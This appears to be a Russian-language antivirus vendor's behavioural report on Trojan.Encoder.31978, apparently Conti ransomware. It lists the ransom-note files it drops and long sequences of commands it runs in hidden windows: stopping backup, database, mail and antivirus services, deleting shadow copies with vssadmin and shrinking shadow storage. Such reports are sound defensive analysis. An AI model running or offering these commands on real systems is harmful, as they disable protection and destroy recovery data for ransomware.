Trojan.Encoder.31978

Техническая информация

Для обеспечения автозапуска и распространения

Создает следующие файлы на съемном носителе

<Имя диска съемного носителя>:\conti_readme.txt
<Имя диска съемного носителя>:\default.bmp
<Имя диска съемного носителя>:\trivial-merge.html
<Имя диска съемного носителя>:\about.html
<Имя диска съемного носителя>:\browse.html
<Имя диска съемного носителя>:\adadsi.html
<Имя диска съемного носителя>:\ituneshelpunavailable.html
<Имя диска съемного носителя>:\1189.jpeg
<Имя диска съемного носителя>:\dial.bmp
<Имя диска съемного носителя>:\13.jpg
<Имя диска съемного носителя>:\dialmap.bmp
<Имя диска съемного носителя>:\toolbar.bmp
<Имя диска съемного носителя>:\dashborder_120.bmp
<Имя диска съемного носителя>:\coffee.bmp

Вредоносные функции

Для затруднения выявления своего присутствия в системе

удаляет теневые копии разделов.

Запускает на исполнение

'%WINDIR%\syswow64\net.exe' stop "Acronis VSS Provider" /y
'%WINDIR%\syswow64\net.exe' stop SQLAgent$PRACTTICEBGC /y
'%WINDIR%\syswow64\net.exe' stop SQLAgent$PRACTTICEMGT /y
'%WINDIR%\syswow64\net.exe' stop SQLAgent$PROFXENGAGEMENT /y
'%WINDIR%\syswow64\net.exe' stop SQLAgent$SBSMONITORING /y
'%WINDIR%\syswow64\net.exe' stop SQLAgent$SHAREPOINT /y
'%WINDIR%\syswow64\net.exe' stop SQLAgent$SQL_2008 /y
'%WINDIR%\syswow64\net.exe' stop SQLAgent$TPS /y
'%WINDIR%\syswow64\net.exe' stop SQLTELEMETRY /y
'%WINDIR%\syswow64\net.exe' stop SQLAgent$TPSAMA /y
'%WINDIR%\syswow64\net.exe' stop SQLAgent$VEEAMSQL2008R2 /y
'%WINDIR%\syswow64\net.exe' stop SQLAgent$VEEAMSQL2012 /y
'%WINDIR%\syswow64\net.exe' stop SQLBrowser /y
'%WINDIR%\syswow64\net.exe' stop SQLSafeOLRService /y
'%WINDIR%\syswow64\net.exe' stop SQLSERVERAGENT /y
'%WINDIR%\syswow64\net.exe' stop SQLAgent$ECWDB2 /y
'%WINDIR%\syswow64\net.exe' stop SQLAgent$SYSTEM_BGC /y
'%WINDIR%\syswow64\net.exe' stop SQLAgent$BKUPEXEC /y
'%WINDIR%\syswow64\net.exe' stop sacsvr /y
'%WINDIR%\syswow64\net.exe' stop ReportServer /y
'%WINDIR%\syswow64\net.exe' stop ReportServer$SQL_2008 /y
'%WINDIR%\syswow64\net.exe' stop ReportServer$SYSTEM_BGC /y
'%WINDIR%\syswow64\net.exe' stop ReportServer$TPS /y
'%WINDIR%\syswow64\net.exe' stop ReportServer$TPSAMA /y
'%WINDIR%\syswow64\net.exe' stop RESvc /y
'%WINDIR%\syswow64\net.exe' stop SamSs /y
'%WINDIR%\syswow64\net.exe' stop SmcService /y
'%WINDIR%\syswow64\net.exe' stop SAVAdminService /y
'%WINDIR%\syswow64\net.exe' stop SAVService /y
'%WINDIR%\syswow64\net.exe' stop SDRSVC /y
'%WINDIR%\syswow64\net.exe' stop SepMasterService /y
'%WINDIR%\syswow64\net.exe' stop ShMonitor /y
'%WINDIR%\syswow64\net.exe' stop Smcinst /y
'%WINDIR%\syswow64\net.exe' stop SMTPSvc /y
'%WINDIR%\syswow64\net.exe' stop VeeamNFSSvc /y
'%WINDIR%\syswow64\net.exe' stop SQLAgent$SQLEXPRESS /y
'%WINDIR%\syswow64\net.exe' stop VeeamBackupSvc /y
'%WINDIR%\syswow64\net.exe' stop MSSQL$PROD /y
'%WINDIR%\syswow64\net.exe' stop "Zoolz 2 Service" /y
'%WINDIR%\syswow64\net.exe' stop MSSQLServerADHelper /y
'%WINDIR%\syswow64\net.exe' stop SQLAgent$PROD /y
'%WINDIR%\syswow64\net.exe' stop msftesql$PROD /y
'%WINDIR%\syswow64\net.exe' stop NetMsmqActivator /y
'%WINDIR%\syswow64\net.exe' stop ekrn /y
'%WINDIR%\syswow64\net.exe' stop SQLWriter /y
'%WINDIR%\syswow64\net.exe' stop ESHASRV /y
'%WINDIR%\syswow64\net.exe' stop MSSQL$SOPHOS /y
'%WINDIR%\syswow64\net.exe' stop SQLAgent$SOPHOS /y
'%WINDIR%\syswow64\net.exe' stop AVP /y
'%WINDIR%\syswow64\net.exe' stop klnagent /y
'%WINDIR%\syswow64\net.exe' stop MSSQL$SQLEXPRESS /y
'%WINDIR%\syswow64\net.exe' stop "SQL Backups" /y
'%WINDIR%\syswow64\net.exe' stop POP3Svc /y
'%WINDIR%\syswow64\net.exe' stop SQLAgent$CITRIX_METAFRAME /y
'%WINDIR%\syswow64\net.exe' stop VeeamMountSvc /y
'%WINDIR%\syswow64\net.exe' stop VeeamBrokerSvc /y
'%WINDIR%\syswow64\net.exe' stop VeeamCatalogSvc /y
'%WINDIR%\syswow64\net.exe' stop VeeamCloudSvc /y
'%WINDIR%\syswow64\net.exe' stop VeeamDeploymentService /y
'%WINDIR%\syswow64\net.exe' stop VeeamDeploySvc /y
'%WINDIR%\syswow64\net.exe' stop VeeamEnterpriseManagerSvc /y
'%WINDIR%\syswow64\net.exe' stop SQLTELEMETRY$ECWDB2 /y
'%WINDIR%\syswow64\net.exe' stop swi_update /y
'%WINDIR%\syswow64\net.exe' stop VeeamRESTSvc /y
'%WINDIR%\syswow64\net.exe' stop VeeamTransportSvc /y
'%WINDIR%\syswow64\net.exe' stop W3Svc /y
'%WINDIR%\syswow64\net.exe' stop wbengine /y
'%WINDIR%\syswow64\net.exe' stop WRSVC /y
'%WINDIR%\syswow64\net.exe' stop VeeamHvIntegrationSvc /y
'%WINDIR%\syswow64\net.exe' stop SQLAgent$CXDB /y
'%WINDIR%\syswow64\net.exe' stop EhttpSrv /y
'%WINDIR%\syswow64\net.exe' stop PDVFSService /y
'%WINDIR%\syswow64\net.exe' stop MSSQLFDLauncher$SQL_2008 /y
'%WINDIR%\syswow64\net.exe' stop EPUpdateService /y
'%WINDIR%\syswow64\net.exe' stop EraserSvc11710 /y
'%WINDIR%\syswow64\net.exe' stop EsgShKernel /y
'%WINDIR%\syswow64\net.exe' stop FA_Scheduler /y
'%WINDIR%\syswow64\net.exe' stop IISAdmin /y
'%WINDIR%\syswow64\net.exe' stop IMAP4Svc /y
'%WINDIR%\syswow64\net.exe' stop McTaskManager /y
'%WINDIR%\syswow64\net.exe' stop MsDtsServer110 /y
'%WINDIR%\syswow64\net.exe' stop mfemms /y
'%WINDIR%\syswow64\net.exe' stop mfevtp /y
'%WINDIR%\syswow64\net.exe' stop MMS /y
'%WINDIR%\syswow64\net.exe' stop mozyprobackup /y
'%WINDIR%\syswow64\net.exe' stop MsDtsServer /y
'%WINDIR%\syswow64\net.exe' stop MsDtsServer100 /y
'%WINDIR%\syswow64\net.exe' stop EPSecurityService /y
'%WINDIR%\syswow64\net.exe' stop McShield /y
'%WINDIR%\syswow64\net.exe' stop DCAgent /y
'%WINDIR%\syswow64\net.exe' stop Antivirus /y
'%WINDIR%\syswow64\net.exe' stop "Enterprise Client Service" /y
'%WINDIR%\syswow64\net.exe' stop "SQLsafe Backup Service" /y
'%WINDIR%\syswow64\net.exe' stop "SQLsafe Filter Service" /y
'%WINDIR%\syswow64\net.exe' stop "Veeam Backup Catalog Data Service" /y
'%WINDIR%\syswow64\net.exe' stop AcronisAgent /y
'%WINDIR%\syswow64\net.exe' stop AcrSch2Svc /y
'%WINDIR%\syswow64\net.exe' stop ARSM /y
'%WINDIR%\syswow64\net.exe' stop BackupExecVSSProvider /y
'%WINDIR%\syswow64\net.exe' stop BackupExecAgentAccelerator /y
'%WINDIR%\syswow64\net.exe' stop BackupExecAgentBrowser /y
'%WINDIR%\syswow64\net.exe' stop BackupExecDeviceMediaService /y
'%WINDIR%\syswow64\net.exe' stop BackupExecJobEngine /y
'%WINDIR%\syswow64\net.exe' stop BackupExecManagementService /y
'%WINDIR%\syswow64\net.exe' stop BackupExecRPCService /y
'%WINDIR%\syswow64\net.exe' stop bedbg /y
'%WINDIR%\syswow64\net.exe' stop MSSQL$BKUPEXEC /y
'%WINDIR%\syswow64\net.exe' stop ntrtscan /y
'%WINDIR%\syswow64\net.exe' stop MSExchangeMGMT /y
'%WINDIR%\syswow64\net.exe' stop MSSQL$VEEAMSQL2008R2 /y
'%WINDIR%\syswow64\net.exe' stop MSSQL$VEEAMSQL2012 /y
'%WINDIR%\syswow64\net.exe' stop MSSQLFDLauncher /y
'%WINDIR%\syswow64\net.exe' stop MSSQLFDLauncher$PROFXENGAGEMENT /y
'%WINDIR%\syswow64\net.exe' stop MSSQLFDLauncher$SBSMONITORING /y
'%WINDIR%\syswow64\net.exe' stop MSSQLFDLauncher$SHAREPOINT /y
'%WINDIR%\syswow64\net.exe' stop MSSQLFDLauncher$SYSTEM_BGC /y
'%WINDIR%\syswow64\net.exe' stop MSExchangeIS /y
'%WINDIR%\syswow64\net.exe' stop MSSQLFDLauncher$TPS /y
'%WINDIR%\syswow64\net.exe' stop MSSQLFDLauncher$TPSAMA /y
'%WINDIR%\syswow64\net.exe' stop MSSQLSERVER /y
'%WINDIR%\syswow64\net.exe' stop MSSQLServerADHelper100 /y
'%WINDIR%\syswow64\net.exe' stop MSSQLServerOLAPService /y
'%WINDIR%\syswow64\net.exe' stop MySQL57 /y
'%WINDIR%\syswow64\net.exe' stop MSSQL$TPSAMA /y
'%WINDIR%\syswow64\net.exe' stop OracleClientCache80 /y
'%WINDIR%\syswow64\net.exe' stop MSSQL$TPS /y
'%WINDIR%\syswow64\net.exe' stop MSOLAP$TPSAMA /y
'%WINDIR%\syswow64\net.exe' stop MSExchangeMTA /y
'%WINDIR%\syswow64\net.exe' stop MSExchangeSA /y
'%WINDIR%\syswow64\net.exe' stop MSExchangeSRS /y
'%WINDIR%\syswow64\net.exe' stop MSOLAP$SQL_2008 /y
'%WINDIR%\syswow64\net.exe' stop MSOLAP$SYSTEM_BGC /y
'%WINDIR%\syswow64\net.exe' stop MSOLAP$TPS /y
'%WINDIR%\syswow64\net.exe' stop MSExchangeES /y
'%WINDIR%\syswow64\net.exe' stop MSSQL$SQL_2008 /y
'%WINDIR%\syswow64\net.exe' stop MSSQL$ECWDB2 /y
'%WINDIR%\syswow64\net.exe' stop MSSQL$PRACTICEMGT /y
'%WINDIR%\syswow64\net.exe' stop MSSQL$PRACTTICEBGC /y
'%WINDIR%\syswow64\net.exe' stop MSSQL$PROFXENGAGEMENT /y
'%WINDIR%\syswow64\net.exe' stop MSSQL$SBSMONITORING /y
'%WINDIR%\syswow64\net.exe' stop MSSQL$SHAREPOINT /y
'%WINDIR%\syswow64\net.exe' stop MSSQL$SYSTEM_BGC /y
'%WINDIR%\syswow64\net.exe' stop mfefire /y

Изменения в файловой системе

Создает следующие файлы

C:\conti_readme.txt
C:\documents and settings\conti_readme.txt
<Текущая директория>\conti_readme.txt
D:\conti_readme.txt
C:\far2\conti_readme.txt

Изменяет расширения файлов пользовательских данных (Trojan.Encoder).

Другое

Создает и запускает на исполнение

'%WINDIR%\syswow64\cmd.exe' /c vssadmin Delete Shadows /all /quiet' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c net stop SQLAgent$BKUPEXEC /y' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c net stop SQLAgent$ECWDB2 /y' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c net stop SQLAgent$PRACTTICEBGC /y' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c net stop SQLAgent$PRACTTICEMGT /y' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c net stop SQLAgent$PROFXENGAGEMENT /y' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c net stop ReportServer$SYSTEM_BGC /y' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c net stop SQLAgent$SBSMONITORING /y' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c net stop SQLAgent$SQL_2008 /y' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c net stop SQLAgent$SYSTEM_BGC /y' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c net stop SQLAgent$TPS /y' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c net stop SQLAgent$TPSAMA /y' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c net stop SQLAgent$VEEAMSQL2008R2 /y' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c net stop SQLAgent$VEEAMSQL2012 /y' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c net stop Smcinst /y' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c net stop SQLAgent$SHAREPOINT /y' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c net stop SMTPSvc /y' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c net stop SmcService /y' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c net stop ShMonitor /y' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c net stop SepMasterService /y' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c net stop ntrtscan /y' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c net stop OracleClientCache80 /y' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c net stop PDVFSService /y' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c net stop POP3Svc /y' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c net stop ReportServer /y' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c net stop SQLBrowser /y' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c net stop ReportServer$SQL_2008 /y' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c net stop MSSQLServerADHelper100 /y' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c net stop ReportServer$TPS /y' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c net stop RESvc /y' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c net stop sacsvr /y' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c net stop SamSs /y' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c net stop SAVAdminService /y' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c net stop SAVService /y' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c net stop MSSQLServerOLAPService /y' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c net stop SDRSVC /y' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c net stop ReportServer$TPSAMA /y' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c net stop MySQL57 /y' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c net stop SQLSafeOLRService /y' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c net stop SQLWriter /y' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c net stop MSSQL$PROD /y' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c net stop "Zoolz 2 Service" /y' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c net stop MSSQLServerADHelper /y' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c net stop SQLAgent$PROD /y' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c net stop msftesql$PROD /y' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c net stop NetMsmqActivator /y' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c net stop swi_update /y' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c net stop EhttpSrv /y' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c net stop ESHASRV /y' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c net stop MSSQL$SOPHOS /y' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c net stop SQLAgent$SOPHOS /y' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c net stop AVP /y' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c net stop klnagent /y' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c net stop MSSQL$SQLEXPRESS /y' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c net stop SQLAgent$CITRIX_METAFRAME /y' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c net stop "SQL Backups" /y' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c net stop SQLAgent$CXDB /y' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c net stop VeeamHvIntegrationSvc /y' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c net stop MSExchangeIS /y' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c net stop VeeamBackupSvc /y' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c net stop VeeamBrokerSvc /y' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c net stop VeeamCatalogSvc /y' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c net stop VeeamCloudSvc /y' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c net stop VeeamDeploymentService /y' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c net stop SQLSERVERAGENT /y' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c net stop SQLTELEMETRY$ECWDB2 /y' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c net stop SQLTELEMETRY /y' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c net stop VeeamDeploySvc /y' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c net stop VeeamRESTSvc /y' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c net stop VeeamTransportSvc /y' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c net stop W3Svc /y' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c net stop wbengine /y' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c net stop WRSVC /y' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c net stop VeeamEnterpriseManagerSvc /y' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c net stop VeeamMountSvc /y' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c net stop VeeamNFSSvc /y' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c net stop MSSQLSERVER /y' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c net stop MSSQLFDLauncher$TPSAMA /y' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c net stop MSSQLFDLauncher$TPS /y' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c net stop BackupExecAgentBrowser /y' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c net stop BackupExecDeviceMediaService /y' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c net stop BackupExecJobEngine /y' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c net stop BackupExecManagementService /y' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c net stop BackupExecRPCService /y' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c net stop BackupExecVSSProvider /y' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c net stop IMAP4Svc /y' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c net stop bedbg /y' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c net stop EPSecurityService /y' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c net stop EPUpdateService /y' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c net stop EraserSvc11710 /y' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c net stop EsgShKernel /y' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c net stop FA_Scheduler /y' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c net stop Antivirus /y' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c net stop AcrSch2Svc /y' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c net stop BackupExecAgentAccelerator /y' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c net stop AcronisAgent /y' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c net stop "Veeam Backup Catalog Data Service" /y' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c vssadmin resize shadowstorage /for=c: /on=c: /maxsize=401MB' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c vssadmin resize shadowstorage /for=d: /on=d: /maxsize=401MB' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c vssadmin resize shadowstorage /for=d: /on=d: /maxsize=unbounded' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c vssadmin resize shadowstorage /for=e: /on=e: /maxsize=401MB' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c vssadmin resize shadowstorage /for=e: /on=e: /maxsize=unbounded' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c vssadmin resize shadowstorage /for=f: /on=f: /maxsize=401MB' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c net stop IISAdmin /y' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c vssadmin resize shadowstorage /for=f: /on=f: /maxsize=unbounded' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c net stop DCAgent /y' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c vssadmin resize shadowstorage /for=g: /on=g: /maxsize=unbounded' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c vssadmin resize shadowstorage /for=h: /on=h: /maxsize=unbounded' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c net stop "Acronis VSS Provider" /y' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c net stop "Enterprise Client Service" /y' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c net stop "SQLsafe Backup Service" /y' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c net stop "SQLsafe Filter Service" /y' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c vssadmin resize shadowstorage /for=g: /on=g: /maxsize=401MB' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c vssadmin resize shadowstorage /for=c: /on=c: /maxsize=unbounded' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c vssadmin resize shadowstorage /for=h: /on=h: /maxsize=401MB' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c net stop ARSM /y' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c net stop McShield /y' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c net stop MSSQL$PRACTTICEBGC /y' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c net stop MSSQL$SBSMONITORING /y' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c net stop MSSQL$SHAREPOINT /y' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c net stop MSSQL$SQL_2008 /y' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c net stop MSSQL$SYSTEM_BGC /y' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c net stop MSSQL$TPS /y' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c net stop MSSQL$PRACTICEMGT /y' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c net stop McTaskManager /y' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c net stop MSSQL$PROFXENGAGEMENT /y' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c net stop MSSQL$TPSAMA /y' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c net stop MSSQLFDLauncher$PROFXENGAGEMENT /y' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c net stop MSSQLFDLauncher$SBSMONITORING /y' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c net stop MSSQLFDLauncher$SHAREPOINT /y' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c net stop MSSQLFDLauncher$SQL_2008 /y' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c net stop MSSQLFDLauncher$SYSTEM_BGC /y' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c net stop MSSQL$VEEAMSQL2008R2 /y' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c net stop MSSQL$VEEAMSQL2012 /y' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c net stop MSSQLFDLauncher /y' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c net stop ekrn /y' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c net stop SQLAgent$SQLEXPRESS /y' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c net stop MSOLAP$TPSAMA /y' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c net stop mfevtp /y' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c net stop MMS /y' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c net stop mozyprobackup /y' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c net stop MsDtsServer /y' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c net stop MsDtsServer100 /y' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c net stop MsDtsServer110 /y' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c net stop MSSQL$BKUPEXEC /y' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c net stop MSSQL$ECWDB2 /y' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c net stop MSExchangeES /y' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c net stop MSExchangeMTA /y' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c net stop MSExchangeSA /y' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c net stop MSExchangeSRS /y' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c net stop MSOLAP$SQL_2008 /y' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c net stop MSOLAP$SYSTEM_BGC /y' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c net stop MSOLAP$TPS /y' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c net stop mfemms /y' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c net stop MSExchangeMGMT /y' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c net stop mfefire /y' (со скрытым окном)

Запускает на исполнение

'%WINDIR%\syswow64\cmd.exe' /c vssadmin Delete Shadows /all /quiet
'%WINDIR%\syswow64\cmd.exe' /c net stop SQLAgent$PROFXENGAGEMENT /y
'%WINDIR%\syswow64\net1.exe' stop SQLAgent$PRACTTICEMGT /y
'%WINDIR%\syswow64\cmd.exe' /c net stop SQLAgent$PRACTTICEMGT /y
'%WINDIR%\syswow64\net1.exe' stop SQLAgent$PRACTTICEBGC /y
'%WINDIR%\syswow64\cmd.exe' /c net stop SQLAgent$PRACTTICEBGC /y
'%WINDIR%\syswow64\net1.exe' stop SQLAgent$ECWDB2 /y
'%WINDIR%\syswow64\cmd.exe' /c net stop SQLAgent$ECWDB2 /y
'%WINDIR%\syswow64\net1.exe' stop SQLAgent$BKUPEXEC /y
'%WINDIR%\syswow64\cmd.exe' /c net stop SQLAgent$BKUPEXEC /y
'%WINDIR%\syswow64\net1.exe' stop SMTPSvc /y
'%WINDIR%\syswow64\cmd.exe' /c net stop SMTPSvc /y
'%WINDIR%\syswow64\net1.exe' stop SmcService /y
'%WINDIR%\syswow64\cmd.exe' /c net stop SmcService /y
'%WINDIR%\syswow64\net1.exe' stop Smcinst /y
'%WINDIR%\syswow64\cmd.exe' /c net stop Smcinst /y
'%WINDIR%\syswow64\net1.exe' stop SQLAgent$PROFXENGAGEMENT /y
'%WINDIR%\syswow64\cmd.exe' /c net stop SQLAgent$SBSMONITORING /y
'%WINDIR%\syswow64\net1.exe' stop SQLAgent$SBSMONITORING /y
'%WINDIR%\syswow64\cmd.exe' /c net stop SQLAgent$SHAREPOINT /y
'%WINDIR%\syswow64\cmd.exe' /c net stop ShMonitor /y
'%WINDIR%\syswow64\net1.exe' stop SQLBrowser /y
'%WINDIR%\syswow64\cmd.exe' /c net stop SQLBrowser /y
'%WINDIR%\syswow64\net1.exe' stop SQLAgent$VEEAMSQL2012 /y
'%WINDIR%\syswow64\cmd.exe' /c net stop SQLAgent$VEEAMSQL2012 /y
'%WINDIR%\syswow64\net1.exe' stop SQLAgent$VEEAMSQL2008R2 /y
'%WINDIR%\syswow64\cmd.exe' /c net stop SQLAgent$VEEAMSQL2008R2 /y
'%WINDIR%\syswow64\net1.exe' stop ShMonitor /y
'%WINDIR%\syswow64\net1.exe' stop SQLAgent$TPSAMA /y
'%WINDIR%\syswow64\cmd.exe' /c net stop SQLSafeOLRService /y
'%WINDIR%\syswow64\cmd.exe' /c net stop SQLAgent$TPS /y
'%WINDIR%\syswow64\net1.exe' stop SQLAgent$SYSTEM_BGC /y
'%WINDIR%\syswow64\cmd.exe' /c net stop SQLAgent$SYSTEM_BGC /y
'%WINDIR%\syswow64\net1.exe' stop SQLAgent$SQL_2008 /y
'%WINDIR%\syswow64\cmd.exe' /c net stop SQLAgent$SQL_2008 /y
'%WINDIR%\syswow64\net1.exe' stop SQLAgent$SHAREPOINT /y
'%WINDIR%\syswow64\cmd.exe' /c net stop SQLAgent$TPSAMA /y
'%WINDIR%\syswow64\net1.exe' stop MSSQLSERVER /y
'%WINDIR%\syswow64\net1.exe' stop SQLAgent$TPS /y
